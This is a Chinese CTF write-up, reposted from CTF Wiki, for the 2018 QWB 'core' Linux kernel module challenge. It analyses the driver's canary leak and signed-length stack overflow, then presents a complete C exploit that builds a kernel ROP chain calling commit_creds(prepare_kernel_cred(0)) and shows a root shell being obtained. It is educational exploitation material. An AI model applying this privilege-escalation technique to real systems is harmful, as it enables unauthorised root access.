前言 转载自 CTF Wiki kernel rop 根据学习情况略有修改
2018 强网杯-core 题目给的vmlinux好像有点问题,ropper出来基地址不一样,请使用下面的extract-vmlinux
提取vmlinux
分析 题目给了四个文件: bzImage
, core.cpio
,start.sh
以及vmlinux
其中vmlinux
信息如下:
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=205c9e8b26bc8e0575a11029310d2ac00844f97c, not stripped
静态链接,没有除去符号表。可以认为vmlinux
是未经过压缩的kernel文件,而bzImage
可以理解未压缩后的文件。具体可以看What is the difference between the following kernel Makefile terms: vmLinux, vmlinuz, vmlinux.bin, zimage & bzimage?
vmlinux未经压缩,因此我们可以从中找到一些gadge
以便利用, 这里wiki作者推荐使用Ropper 来寻找gadget
, 而不是ROPgadget
如果题目没有给vmlinux
,可以使用extract-vmlinux 来提取
CISCN2017_babydriver ./extract-vmlinux ./bzImage > vmlinux CISCN2017_babydriver file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped
看一下start.sh
发现内核开启kaslr
保护
解压core.cpio
后,看一下init
➜ give_to_player file core.cpio core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix ➜ give_to_player mkdir core ➜ give_to_player cd core ➜ core mv ../core.cpio core.cpio.gz ➜ core gunzip ./core.cpio.gz ➜ core cpio -idm < ./core.cpio 104379 blocks ➜ core bat init ───────┬───────────────────────────────────────────────────────────────── │ File: init ───────┼───────────────────────────────────────────────────────────────── 1 │ 2 │ mount -t proc proc /proc 3 │ mount -t sysfs sysfs /sys 4 │ mount -t devtmpfs none /dev 5 │ /sbin/mdev -s 6 │ mkdir -p /dev/pts 7 │ mount -vt devpts -o gid=4,mode=620 none /dev/pts 8 │ chmod 666 /dev/ptmx 9 │ cat /proc/kallsyms > /tmp/kallsyms 10 │ echo 1 > /proc/sys/kernel/kptr_restrict 11 │ echo 1 > /proc/sys/kernel/dmesg_restrict 12 │ ifconfig eth0 up 13 │ udhcpc -i eth0 14 │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0 15 │ route add default gw 10.0.2.2 16 │ insmod /core.ko 17 │ 18 │ poweroff -d 120 -f & 19 │ setsid /bin/cttyhack setuidgid 1000 /bin/sh 20 │ echo 'sh end!\n' 21 │ umount /proc 22 │ umount /sys 23 │ 24 │ poweroff -d 0 -f ───────┴───────────────────────────────────────────────────────────────── ➜ core
其中:
第 9 行中kallsyms
的内容保存到了/tmp/kallsyms
中,那么我们就能从/tmp/kallsyms
中读取commit_creds
,prepare_kernel_cred
的函数的地址了 第 10 行把kptr_restrict
设为 1,这样就不能通过/proc/kallsyms
查看函数的地址,但是第 9 行已经把其中的信息保存到了一个可读的文件,这句就无关紧要了 第 11 行把dmesg_restrict
设为 1, 这样就不能通过dmesg
查看kernel的信息了 第 18 行设置了定时关机, 为了避免做题时产生干扰,直接把这句删掉以后重新打包,方便我们分析 同时发现一个 shell 脚本gen_cpio.sh
➜ core bat gen_cpio.sh ───────┬───────────────────────────────────────────────────────────────── │ File: gen_cpio.sh ───────┼───────────────────────────────────────────────────────────────── 1 │ find . -print0 \ 2 │ | cpio --null -ov --format=newc \ 3 │ | gzip -9 > $1 ───────┴───────────────────────────────────────────────────────────────── ➜ core
从名称和内容都可以看出这是一个方便打包的脚本,我们修改好init后重新打包,尝试运行 kernel
➜ core nano init ➜ core rm core.cpio ➜ core ./gen_cpio.sh core.cpio . ./bin ./bin/ash ...... ...... ./vmlinux 105403 blocks ➜ core ls bin core.ko gen_cpio.sh lib linuxrc root sys usr core.cpio etc init lib64 proc sbin tmp vmlinux ➜ core mv core.cpio .. ➜ core cd .. ➜ give_to_player ./start.sh qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5] [ 0.027857] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 / $
但这时候又遇到了新问题,内核运行不起来,从报错信息中能看到是因为分配的内存过小, start.sh
中-m
分配是64M
,修改为128M
,就能运行起来了。
对模块进行检查
➜ give_to_player check --file core.ko RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH core.ko
开启了Canary
保护,用 IDA 打开core.ko
进行分析
主要函数如下:
core_release core_write core_read core_copy_func core_ioctl exit_core 其中:
**init_module()**注册/proc/core
__int64 init_module () { core_proc = proc_create("core" , 438LL , 0LL , &core_fops); printk("\x016core: created /proc/core entry\n" ); return 0LL ; }
**exit_core()**删除/proc/core
__int64 exit_core () { __int64 result; if ( core_proc ) result = remove_proc_entry("core" ); return result; }
core_ioctl() 定义了三条命令,分别调用 core_read() , core_copy_func() 和设置全局变量 off
__int64 __fastcall core_ioctl (__int64 a1, int a2, __int64 a3) { __int64 v3; v3 = a3; switch ( a2 ) { case 0x6677889B : core_read(a3); break ; case 0x6677889C : printk(&unk_2CD); off = v3; break ; case 0x6677889A : printk(&unk_2B3); core_copy_func(v3); break ; } return 0LL ; }
core_read() 从 v4[off]
拷贝 64 个字节到用户空间, 但要注意的是全局变量off
使我们能够控制的,因此可以合理的控制off
来leak canary
和一些地址
unsigned __int64 __fastcall core_read (__int64 a1) { __int64 v1; __int64 *v2; signed __int64 i; unsigned __int64 result; __int64 v5; unsigned __int64 v6; v1 = a1; v6 = __readgsqword(0x28 u); printk(&unk_25B); printk(&unk_275); v2 = &v5; for ( i = 16LL ; i; --i ) { *(_DWORD *)v2 = 0 ; v2 = (__int64 *)((char *)v2 + 4 ); } strcpy ((char *)&v5, "Welcome to the QWB CTF challenge.\n" ); result = copy_to_user(v1, (char *)&v5 + off, 64LL ); if ( !result ) return __readgsqword(0x28 u) ^ v6; __asm { swapgs } return result; }
core_copy_func() 从全局变量name
中拷贝数据到局部变量中,长度是由我们指定的,但要注意的是 qmemcpy 用的是 unsigned __int16
,但传递的长度是 signed __int64
,因此如果控制传入的长度为 0xffffffffffff0000|(0x100)
等值,就可以栈溢出了
void __fastcall core_copy_func (signed __int64 a1) { char v1[64 ]; unsigned __int64 v2; v2 = __readgsqword(0x28 u); printk("\x016core: called core_writen" ); if ( a1 > 63 ) printk("\x016Detect Overflow" ); else qmemcpy(v1, name, (unsigned __int16)a1); }
core_write() 向全局变量 name
上写,这样通过 core_write()
和 core_copy_func()
就可以控制 Ropchain
了
signed __int64 __fastcall core_write (__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int64 v3; v3 = a3; printk("\x016core: called core_writen" ); if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) ) return (unsigned int )v3; printk("\x016core: error copying data from userspacen" ); return 0xFFFFFFF2 LL; }
思路 经过如上的分析,可以得出以下的思路:
通过 ioctl 设置 off,然后通过 core_read() leak 出 canary 通过 core_write() 向 name 写,构造 ropchain 通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop 通过 rop 执行 commit_creds(prepare_kernel_cred(0))
返回用户态,通过 system(“/bin/sh”) 等起 shell 解释:
如何获得 commit_creds(),prepare_kernel_cred() 的地址?/tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址 如何返回用户态?swapgs; iretq
,需要设置 cs, rflags
等信息,可以写一个函数保存这些信息 size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void save_stats () {asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp) : : "memory" ); }
为什么要这么麻烦返回用户态呢?我们想做的大多数有用的事情在用户态那里要容易得多 在内核空间里,我们很难: 调试 qemu 内置有 gdb 的接口, 可以通过 help 进行查看
➜ qwb2018-core qemu-system-x86_64 --help |grep gdb -gdb dev wait for gdb connection on 'dev' -s shorthand for -gdb tcp::1234
即可以通过 -gdb tcp:port
来指定,也可以 -s
来开启默认调试端口,start.sh
中已经有了 -s
,不必再自己设置。
另外通过 gdb ./vmlinux
启动时,虽然加载了 kernel 的符号表,但没有加载驱动 core.ko
的符号表,可以通过 add-symbol-file core.ko textaddr
加载
pwndbg> help add-symbol-file Load symbols from FILE, assuming FILE has been dynamically loaded. Usage: add-symbol-file FILE ADDR [-readnow | -readnever | -s SECT-NAME SECT-ADDR]... ADDR is the starting address of the file's text. Each ' -s' argument provides a section name and address, and should be specified if the data and bss segments are not contiguous with the text. SECT-NAME is a section name to be loaded at SECT-ADDR. The ' -readnow' option will cause GDB to read the entire symbol file immediately. This makes the command slower, but may make future operations faster. The ' -readnever' option will prevent GDB from reading the symbol file' ssymbolic debug information.
.text 段的地址可以通过 /sys/modules/core/section/.text
来查看,查看需要 root 权限,因此为了方便调试,我们再改一下 init
setsid /bin/cttyhack setuidgid 0 /bin/sh
这样重新用打包以后,启动时就是root
权限了
➜ give_to_player ./start.sh qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5] [ 0.024759] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 insmod: can' t read '/core.ko' : No such file or directory/ root /
接着就可以看.text
段的地址了
偏移计算:
➜ core python2 Python 2.7.17 (default, Apr 15 2020, 17:20:14) [GCC 7.5.0] on linux2 Type "help" , "copyright" , "credits" or "license" for more information. >>> from pwn import * >>> vmlinux = ELF("./vmlinux" ) [*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/kernal/linux_kernel_pwn-master/qwb2018-core/give_to_player/core/vmlinux' Arch: amd64-64-little Version: 4.15.8 RELRO: No RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments >>> hex(vmlinux.sym['commit_creds' ] - 0xffffffff81000000) '0x9c8e0' >>>
get root shell exp:
#include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void spawn_shell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[*] spwan shell error!" ); } exit (0 ); } size_t commit_creds = 0 , prepare_kernel_cred = 0 ;size_t raw_vmlinux_base = 0xffffffff81000000 ;size_t vmlinux_base = 0 ;size_t find_symbols () { FILE* kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[*] open kallsyms error!" ); exit (0 ); } char buf[0x30 ] = {0 }; while (fgets(buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) { return 0 ; } if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 0x10 ); sscanf (hex, "%llx" , &commit_creds); printf ("[*] commit_creds addr: %p\n" , commit_creds); vmlinux_base = commit_creds - 0x9c8e0 ; printf ("[*] vmlinux_base addr: %p\n" , vmlinux_base); } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 0x10 ); sscanf (hex, "%llx" , &prepare_kernel_cred); printf ("[*] prepare_kernel_cred addr: %p\n" , prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0 ; printf ("[*] vmlinux_base addr: %p\n" , vmlinux_base); } } if (!(prepare_kernel_cred & commit_creds)) { puts ("[*] Error!" ); exit (0 ); } } size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__ ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] status has been saved." ); } void set_off (int fd, long long idx) { printf ("[*] set off to %ld\n" , idx); ioctl(fd, 0x6677889C , idx); } void core_read (int fd, char *buf) { puts ("[*] read to buf." ); ioctl(fd, 0x6677889B , buf); } void core_copy_func (int fd, long long size) { printf ("[*] copy from user with size: %ld\n" , size); ioctl(fd, 0x6677889A , size); } int main () { save_status(); int fd = open("/proc/core" , 2 ); if (fd < 0 ) { puts ("[*] open /proc/core error!" ); } find_symbols(); ssize_t offset = vmlinux_base - raw_vmlinux_base; set_off(fd, 0x40 ); char buf[0x40 ] = {0 }; core_read(fd, buf); size_t canary = ((size_t *)buf)[0 ]; printf ("[*] canary: %p\n" , canary); size_t rop[0x1000 ] = {0 }; int i; for (i = 0 ; i < 10 ; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81050ac2 + offset; rop[i++] = (size_t )spawn_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x800 ); core_copy_func(fd, 0xffffffffffff0000 | (0x100 )); return 0 ; }
完整思路就是用rop链达到执行commit_creds(prepare_kernel_cred(0))
以提权目的, 之后用swapgs; iretq
返回到用户态 执行用户空间的system("/bin/sh")
获取shell
编译:
gcc exploit.c -statoc -masm=intel -g -o exploit
使用 intel 汇编需要加上 -masm=intel
➜ give_to_player cp exploit core/tmp/ ➜ give_to_player cd core ➜ give_to_player ./gen_cpio.sh core.cpio .... ➜ give_to_player cp core.cpio .. ➜ give_to_player cd .. ➜ give_to_player ./start.sh ...... / $ ls /tmp/ exploit kallsyms / $ id uid=1000(chal) gid=1000(chal) groups=1000(chal) / $ /tmp/exploit [*]status has been saved. commit_creds addr: 0xffffffffbd09c8e0 vmlinux_base addr: 0xffffffffbd000000 prepare_kernel_cred addr: 0xffffffffbd09cce0 [*]set off to 64 [*]read to buf. [+]canary: 0x6be486f377bb8600 [*]copy from user with size: -65280 / uid=0(root) gid=0(root)